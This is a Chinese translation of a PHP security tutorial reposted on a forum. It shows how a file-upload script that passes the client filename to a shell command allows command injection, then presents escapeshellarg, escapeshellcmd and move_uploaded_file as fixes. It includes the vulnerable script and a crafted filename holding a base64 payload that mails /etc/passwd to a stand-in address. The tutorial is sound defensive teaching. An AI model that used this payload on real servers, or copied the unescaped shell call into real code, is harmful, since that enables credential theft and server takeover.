- 論壇徽章:
- 0
|
PHP安全(2)
原作:John Coggeshall 08/28/2003
原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html
歡迎回到PHP Foundations。在我的上一篇文章中,我向你們介紹了在PHP中可能危及安全的做法,繼續(xù)了我在養(yǎng)成良好的PHP編程習慣方面的系列文章。
這篇文章將用更多的潛在安全漏洞和修復它們的工具和方法的實例來繼續(xù)我們的討論。今天我將開始談及一個在PHP開發(fā)中很嚴重的潛在安全漏洞——編寫底層操作系統(tǒng)調用的程式。
在PHP中執(zhí)行系統(tǒng)調用
在PHP中有很多方法可以執(zhí)行系統(tǒng)調用。
比如,system(), exec(), passthru(), popen()和 反單引號(`)操作符都允許你在程式中執(zhí)行系統(tǒng)調用。如果不適當的使用上邊這些函數將會為惡意用戶在你的服務器上執(zhí)行系統(tǒng)命令打開大門。像在訪問文件時,絕大多數情況下,安全漏洞發(fā)生在由于不可靠的外部輸入導致的系統(tǒng)命令執(zhí)行。
使用系統(tǒng)調用的一個例子程式
考慮一個處理http文件上傳的程式,它使用zip程序來壓縮文件,然后把它移動到指定的目錄(默認為/usr/local/archives/)。代碼如下:
?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
form enctype="multipart/form-data" action="" method="POST">
input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: input name="file" type="file">br />
input type="submit" value="Compress File">
/form>
雖然這段程式看起來相當簡單易懂,但是惡意用戶卻可以通過一些方法來利用它。最嚴重的安全問題存在于我們執(zhí)行了壓縮命令(通過`操作符),在下邊的行中可以清楚的看到這點:
?
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
?>
欺騙程式執(zhí)行任意shell命令
雖然這段代碼看起來相當安全,它卻有使任何有文件上傳權限的用戶執(zhí)行任意shell命令的潛在危險!
準確的說,這個安全漏洞來自對$cmp_name變量的賦值。在這里,我們希望壓縮后的文件使用從客戶機上傳時的文件名(帶有 .zip擴展名)。我們用到了$_FILES['file']['name'](它包含了上傳文件在客戶機時的文件名)。
在這樣的情況下,惡意用戶完全可以通過上傳一個含對底層操作系統(tǒng)有特殊意義字符的文件來達到自己的目的。舉個例子,如果用戶按照下邊的形式創(chuàng)建一個空文件會怎么樣?(UNIX shell提示符下)
user@localhost]# touch ";php -r '\$code=base64_decode(\\ \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\"); system(\$code);';" 這個命令將創(chuàng)建一個名字如下的文件: ;php -r '$code=base64_decode( \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\"); system($code);';
看起來很奇怪?讓我們來看看這個“文件名”,我們發(fā)現它很像使CLI版本的PHP執(zhí)行如下代碼的命令:
如果你出于好奇而顯示$code變量的內容,就會發(fā)現它包含了mail baduser@somewhere.com < /etc/passwd。如果用戶把這個文件傳給程式,接著PHP執(zhí)行系統(tǒng)調用來壓縮文件,PHP實際上將執(zhí)行如下語句:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';.zip /tmp/phpY4iatI
讓人吃驚的,上邊的命令不是一個語句而是3個!由于UNIX shell 把分號(;)解釋為一個shell命令的結束和另一命令的開始,除了分號在在引號中時,PHP的system()實際上將如下執(zhí)行:
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
如你所見,這個看起來無害的PHP程式突然變成執(zhí)行任意shell命令和其他PHP程式的后門。雖然這個例子只會在路徑下有CLI版本的PHP的系統(tǒng)上有效,但是用這種技術可以通過其他的方法來達到同樣的效果。
對抗系統(tǒng)調用攻擊
這里的關鍵仍然是,來自用戶的輸入,不管內容如何,都不應該相信!問題仍然是如何在使用系統(tǒng)調用時(除了根本不使用它們)避免類似的情況出現。為了對抗這種類型的攻擊,PHP提供了兩個函數,escapeshellarg() 和 escapeshellcmd()。
escapeshellarg()函數是為了從用作系統(tǒng)命令的參數的用戶輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字符而設計的。這個函數的語法如下:
escapeshellarg($string)
$string所在處是用于過濾的輸入,返回值是過濾后的字符。執(zhí)行時,這個函數將在字符兩邊添加單引號,并轉義原來字符串中的單引號(在其前邊加上\)。在我們的例程中,如果我們在執(zhí)行系統(tǒng)命令之前加上這些行:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
我們就能通過確保傳遞給系統(tǒng)調用的參數已經處理,是一個沒有其他意圖的用戶輸入,以規(guī)避這樣的安全風險。
escapeshellcmd()和escapeshellarg()類似,只是它只轉義對底層操作系統(tǒng)有特殊意義的字符。和escapeshellarg()不同,escapeshellcmd()不會處理內容中的空白格。舉個實例,當使用escapeshellcmd()轉義時,字符
$string = "'hello, world!';evilcommand"
將變?yōu)椋?
\'hello, world\'\;evilcommand
如果這個字符串用作系統(tǒng)調用的參數它將仍然不能得到正確的結果,因為shell將會把它分別解釋為兩個分離的參數: \'hello 和 world\'\;evilcommand。如果用戶輸入用于系統(tǒng)調用的參數列表部分,escapeshellarg()是一個更好的選擇。
保護上傳的文件
在整篇文章中,我一直只著重講系統(tǒng)調用如何被惡意用戶劫持以產生我們不希望結果。
但是,這里還有另外一個潛在的安全風險值得提到。再看到我們的例程,把你的注意力集中在下邊的行上:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
上邊片斷中的代碼行導致的一個潛在安全風險是,最后一行我們判斷上傳的文件是否實際存在(以臨時文件名$tmp_name存在)。
這個安全風險并不來自于PHP自身,而在于保存在$tmp_name中的文件名實際上根本不是一個文件,而是指向惡意用戶希望訪問的文件,比如,/etc/passwd。
為了防止這樣的情況發(fā)生,PHP提供了is_uploaded_file()函數,它和file_exists()一樣,但是它還提供文件是否真的從客戶機上上傳的檢查。
在絕大多數情況下,你將需要移動上傳的文件,PHP提供了move_uploaded_file()函數,來配合is_uploaded_file()。這個函數和rename()一樣用于移動文件,只是它會在執(zhí)行前自動檢查以確保被移動的文件是上傳的文件。move_uploaded_file()的語法如下:
move_uploaded_file($filename, $destination);
在執(zhí)行時,函數將移動上傳文件$filename到目的地$destination并返回一個布爾值來標志操作是否成功。
注: John Coggeshall 是一位PHP顧問和作者。從他開始為PHP不眠已經5年左右了。
本文來自ChinaUnix博客,如果查看原文請點:http://blog.chinaunix.net/u3/93245/showart_1895865.html |
|